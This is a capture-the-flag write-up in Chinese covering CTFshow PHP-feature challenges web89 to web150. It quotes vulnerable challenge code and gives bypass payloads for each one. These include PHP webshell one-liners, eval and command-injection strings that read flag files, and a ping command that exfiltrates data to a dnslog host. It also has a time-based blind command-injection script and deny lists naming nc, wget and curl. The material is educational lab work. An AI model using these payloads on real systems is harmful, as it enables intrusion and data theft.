[CTFshow] PHP特性

发布于 2021-10-12  186 次阅读


web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
   $num = $_GET['num'];
   if(preg_match("/[0-9]/", $num)){
       die("no no no!");
  }
   if(intval($num)){
       echo $flag;
  }
}

核心在于 intval()函数,intval — 获取变量的整数值

这里是遇到的,第一个特性,正则表达式不对数组的值进行校验,但是intval校验数组的值

# Payload
?num[]=1

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==="4476"){
       die("no no no!");
  }
   if(intval($num,0)===4476){
       echo $flag;
  }else{
       echo intval($num,0);
  }
}

PHP三个等于号强类型比较,所以必须要保证num 是字符串类型。且字符串类型不能为4476

image-20210928212241120

如果是字符串,是数字开头并且拼接非数字,那么从非数字后面的都会被截断。因此构造payload:

?num=4476a

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
   if(preg_match('/^php$/i', $a)){
       echo 'hacker';
  }
   else{
       echo $flag;
  }
}
else{
   echo 'nonononono';
}

/m是多行查找,第一个要多行匹配而且要匹配到php,第二个单行匹配而且不能匹配到php,因此使用%0a换行绕过

?cmd=1%0aphp

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==4476){
       die("no no no!");
  }
   if(intval($num,0)==4476){
       echo $flag;
  }else{
       echo intval($num,0);
  }
}

这里的和90题的区别在于,强等于变成了弱等于,不在比较类型,而且弱类型比较是按位比较,所以90题的方式在这里,就不太好用了。

但是 当base参数为0的时候,回根据传入的格式决定进制,因此使用十六进制绕过第一个比较,满足第二个比较。

?num=0x117C # 117c 是 4476的 16进制的值

web93

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==4476){
       die("no no no!");
  }
   if(preg_match("/[a-z]/i", $num)){
       die("no no no!");
  }
   if(intval($num,0)==4476){
       echo $flag;
  }else{
       echo intval($num,0);
  }
}

过滤了字母,好样的。我直接用八进制

?num=010574 // 10574 是 4476 的八进制

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==="4476"){
       die("no no no!");
  }
   if(preg_match("/[a-z]/i", $num)){
       die("no no no!");
  }
   if(!strpos($num, "0")){
       die("no no no!");
  }
   if(intval($num,0)===4476){
       echo $flag;
  }
}

strpos — 查找字符串首次出现的位置,循序从1开始而不是0。如果查找的字符不存在,则返回false

结合intval截断的特点,可以特殊字符加数字零进行绕过。第二种解法该函数也只匹配一行可以使用%0a换行绕过。

?num=4476%0

web95

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==4476){
       die("no no no!");
  }
   if(preg_match("/[a-z]|\./i", $num)){
       die("no no no!!");
  }
   if(!strpos($num, "0")){
       die("no no no!!!");
  }
   if(intval($num,0)===4476){
       echo $flag;
  }
}

八进制带0,直接八进制绕过

?num=+010574

web96

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
   if($_GET['u']=='flag.php'){
       die("no no no");
  }else{
       highlight_file($_GET['u']);
  }

}

./表示当前目录,因此构建payload

?u=./flag.php

web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5 强比较 ,a和b均传入数组 fasle=fasle 绕过
a[]=1&b[]=2

web98

<?php

include("flag.php");
1. $_GET?$_GET=&$_POST:'flag';
2. $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
3. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
4. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
  1. 如果有get传参 就有post覆盖这个值,否则就用flag字符串填充
  2. $_COOKIE覆盖
  3. $_SERVER覆盖
  4. get传参,高亮显示$_GET['HTTP_FLAG']

这样的话我们可以 get随便传一个参数触发1,post传 HTTP_FLAG 的参数 根据1 覆盖get传参。

?1=1
post: HTTP_FLAG = flag

web99

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
   array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
   file_put_contents($_GET['n'], $_POST['content']);
}

?>
# in_array函数漏洞
#以下,'7eee'被强制转换成整型 7
var_dump(in_array('7eee', [1, 2, 7, 9]));//true

#如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
var_dump(in_array('7eee', [1, 2, 7, 9], true));//false
通过 in_array 的模糊匹配 绕过 if 构造payload
get: ?n=1.php  
post: content=<?php eval($_POST['cmd']);?>    

web100

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   if(!preg_match("/\;/", $v2)){
       if(preg_match("/\;/", $v3)){
           eval("$v2('ctfshow')$v3");
      }
  }
   
}

?>
<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false
#原理如下:
and/&& 和 or/|| 这两组运算符的优先级竟然是不一样的. and和or的优先级是低于=的, 所以上面的代码就好理解了, 就是先做赋值然后再做了一个and或or的逻辑运算, 这个运算的结果并没有存下来

#所以题目只需要满足 v1为数字 v2 不存在 ; v3存在 ; 即可
?v1=1&v2=var_dump&v3=;system("cat ctfshow.php");

web101

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
       if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
           eval("$v2('ctfshow')$v3");
      }
  }
   
}

?>

跟上一题相比,过滤变多了,因此一行命令执行的手段用不了,这里可以使用php的反射类进行类的输出

?v1=1&v2=echo new Reflectionclass&v3=;

这里flag获取之后,要替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位,切记前缀是ctfshow{}

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
   $s = substr($v2,2);
   $str = call_user_func($v1,$s);
   echo $str;
   file_put_contents($v3,$str);
}
else{
   die('hacker');
}
?>

这里我们可以控制三个参数,对v1没有限制,根据and 的优先级特性,v2必须是数字,对v3没有限制。因此可以v3传入php伪协议,写入流进行base64解码,写入1.php,v2必须是数字,可以使用bin2hex将字符串转为16进制,因为还有substr要截断前两位,因此前两位加入两位无效字符,因此<?php @eval($_POST[0]);?>,base64变成PD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg==,经过bin2hex函数变为5044397761484167514756325957776f4a46395154314e55577a42644b54732f50673d3d,在插入两位无效字符115044397761484167514756325957776f4a46395154314e55577a42644b54732f50673d3d

v1传入hex2bin将16进制转为字符,因此payload为:

post: v1=hex2bin
get: ?v2=0x5044397761484167514756325957776f4a46395154314e55577a42644b54732f50673d3d&v3=php://filter/write=convert.base64-decode/resource=1.php

这个思路一般来说是没有任何问题的,但是这个只能在php5版本才能使用,这里是php7版本就不可以了。下面的过程就参照这个 师傅的博客把:

https://blog.csdn.net/weixin_45785288/article/details/111085520

web103

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
   $s = substr($v2,2);
   $str = call_user_func($v1,$s);
   echo $str;
   if(!preg_match("/.*p.*h.*p.*/i",$str)){
       file_put_contents($v3,$str);
  }
   else{
       die('Sorry');
  }
}
else{
   die('hacker');
}

?>

这里相较于上一题,知识对str多了一层过滤,但是因为我们经过call_user_func之后是base64编码的形式,因此同样可以使用上题的payload

web104

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
   $v1 = $_POST['v1'];
   $v2 = $_GET['v2'];
   if(sha1($v1)==sha1($v2)){
       echo $flag;
  }
}
?>

这里 获取 v1的post传参,v2的get传参,要让他俩的sha1的值相等。我人傻了,直接让他俩是相同的值不就行了

web105

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
   if($key==='error'){
       die("what are you doing?!");
  }
   $$key=$$value;
}foreach($_POST as $key => $value){
   if($value==='flag'){
       die("what are you doing?!");
  }
   $$key=$$value;
}
if(!($_POST['flag']==$flag)){
   die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

payload:

get: ?suces=flag
post: flag=

首先 get传参之后,经过$$key=$$value,可以变为$suces=$flag,此时suces被覆盖为flag的值

post传参经过$$key=$$value,可以变为$flag=,这里将$flag的值,覆盖为空,绕过最后一个if,最总flag在die($suces);输出

web106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
   $v1 = $_POST['v1'];
   $v2 = $_GET['v2'];
   if(sha1($v1)==sha1($v2) && $v1!=$v2){
       echo $flag;
  }
}
?>

出题人变聪明了,可恶可恶,其实这个sha1md5绕过姿势没有区别,直接小小数组,不成敬意

get: ?v2[]=1
post: v1[]=2

web107

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
   $v1 = $_POST['v1'];
   $v3 = $_GET['v3'];
      parse_str($v1,$v2);
      if($v2['flag']==md5($v3)){
          echo $flag;
      }

}

?>
image-20211007214733624
get: ?v3=s878926199a
post: v1=flag=0e123456

web108

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
   die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
   echo $flag;
}

?>

因为ereg()函数存在NULL截断漏洞,导致正则过滤被绕过,所以可以用%00来截断正则匹配

?c=a%00778 # 877是0x36d的十进制

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
   $v1 = $_GET['v1'];
   $v2 = $_GET['v2'];

   if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
           eval("echo new $v1($v2());");
  }

}
?>

这道题的核心点是在eval处的构造,只要保证$v1构造的类不报错就可以。

v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')

web110

 <?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
   $v1 = $_GET['v1'];
   $v2 = $_GET['v2'];

   if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
           die("error v1");
  }
   if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
           die("error v2");
  }

   eval("echo new $v1($v2());");

}

?>

跟上题一样,就是多了很多过滤,单双引号,括号之类的都不能用,只能是英文字母。使用php原生类FilesystemIterator查看指定目录下的文件结构

v1=FilesystemIterator&v2=getcwd

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>

v1v2只能是字母了,getflag函数是将v2的值赋给v1,因此使用$GLOBALS输出全部变量即可。

?v1=ctfshow&v2=GLOBALS

web112

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file — 判断给定文件名是否为一个正常的文件
可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

跟上道题差不多,多了点过滤,导致上题的payload用不了,但是部分payload 还是可以使用的,因此:

#非预期
?file=compress.zlib://flag.php
#预期
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
#在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容多次重复之后可以绕过is_file

web114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

留下了filter,直接使用没有 任何过滤器的即可。

web115

<?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

https://blog.csdn.net/miuzzx/article/details/109181768?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

直接看yu师傅的博客,讲的很清晰,主要学习找到这个 参数的过程

web123 web125 web 126

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
image-20211008192244068

https://blog.csdn.net/miuzzx/article/details/109181768?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

看yu师傅的博客吧,这道题 我也没弄 很懂!

web127

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

$_SERVER['QUERY_STRING'] 详解

http://blog.sina.com.cn/s/blog_686999de0100jgda.html

这里麻烦的点在于_被过滤了,因此可以找可以替代下划线的字符

# 这里贴一下yu师傅的脚本
<?php
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
return strlen($result);
}
for ($i=0; $i < 128; $i++) {
$url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
if(curl($url)!==0){
echo urlencode(chr($i))."\n";
}
}
# flag.php
<?php
if(isset($_GET['ctf_show'])){
echo 123;
}

web128

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);

_()是一个函数 相当于gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组*

get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

?f1=_&f2=get_defined_vars

web129

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
?f=/ctfshow/../../../../../../var/www/html/flag.php
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
远程文件包含

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}
post: f=ctfshow

web131

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

正则回溯攻击

import requests
url="http://0f24cbaf-16cc-4615-9780-a8a5dc02f65d.challenge.ctf.show:8080/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

简单测试,可得到如下结论

<?php
$a = false;
$b = true;

var_dump(($a && $a || $b));
?>
结果: bool(true)

web133

https://blog.csdn.net/qq_46091464/article/details/109095382

很新颖的一道无回显RCE,可以利用bp,也学习了一个bp的新功能。

web134

<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
_POST[key1]=36d&_POST[key2]=36d

web135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

骚姿势

?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
`$F`;+ping `nl flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

web139

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

这道题是一道经典的无回显RCE,可以使用类似于sql注入里面的时间盲注

awk --逐行获取数据
cut -c 截断单独的字符

因此构建脚本

import requests

cmd = 'ls /'
result = ''
for i in range(1, 10):
for j in range(1, 50):
print('i=', i, ' j=', j)
for k in range(32, 128):
k = chr(k)
payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
payload = '?c=' + payload
url = 'http://a3b604c3-63ed-48b4-a1b9-4931359447ec.challenge.ctf.show:8080/'
try:
requests.get(url + payload, timeout=(2.5, 2.5))
except:
result = result + k
print(result)
break
result = result + "\n"

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

这里涉及到==松散比较

image-20211012133429156

因此要构造函数等于零 就可以了

intval('a')==0 intval('.')==0 intval('/')==0

f1=sha1&f2=getcwd

web141

<?php

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

https://blog.csdn.net/miuzzx/article/details/109197158?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

还是yu师傅的博客,介绍了eval("return 1;phpinfo();");不能执行,1-phpinfo();却可以。

因此直接命令执行

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
# 取反 system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

这里我测试了一些 cat nl命令 都不太正常。后来 发现 是要 查看源代码

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

没啥意思0乘以任何数为0

web143

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

相对于141过滤变多了,取反符号也被过滤了。数学运算还有乘法可以

因此可以 用脚本构造异或 利用 乘法 触发执行。

web144

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

限制了v3的长度 直接换一换payload的顺序就可以了

v1=1&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)&v3=-

web145

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

数学运算时彻底用不了了,真过分,但是可以用三元运算符

1?phpinfo();:1
这里phpinfo可以执行

?v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

web146

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

冒号没了。三元运算符就不能用了,使用赋值和位运算

eval("return 1==phpinfo()||1;");
构造payload:
?v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147

<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

https://paper.seebug.org/755/

create_function('$a,$b','return 111')

函数结构形似==>

function a($a, $b){
return 111;
}
# 因此这可函数存在代码注入的问题
# 当传入1;}phpinfo();// 时
function a($a, $b){
return 1;}phpinfo();//}
# 因此可以执行任意代码

web148

<?php

include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

直接构造异或

web149

<?php

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

直接index.php写入一句话木马

或者使用条件竞争

web150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

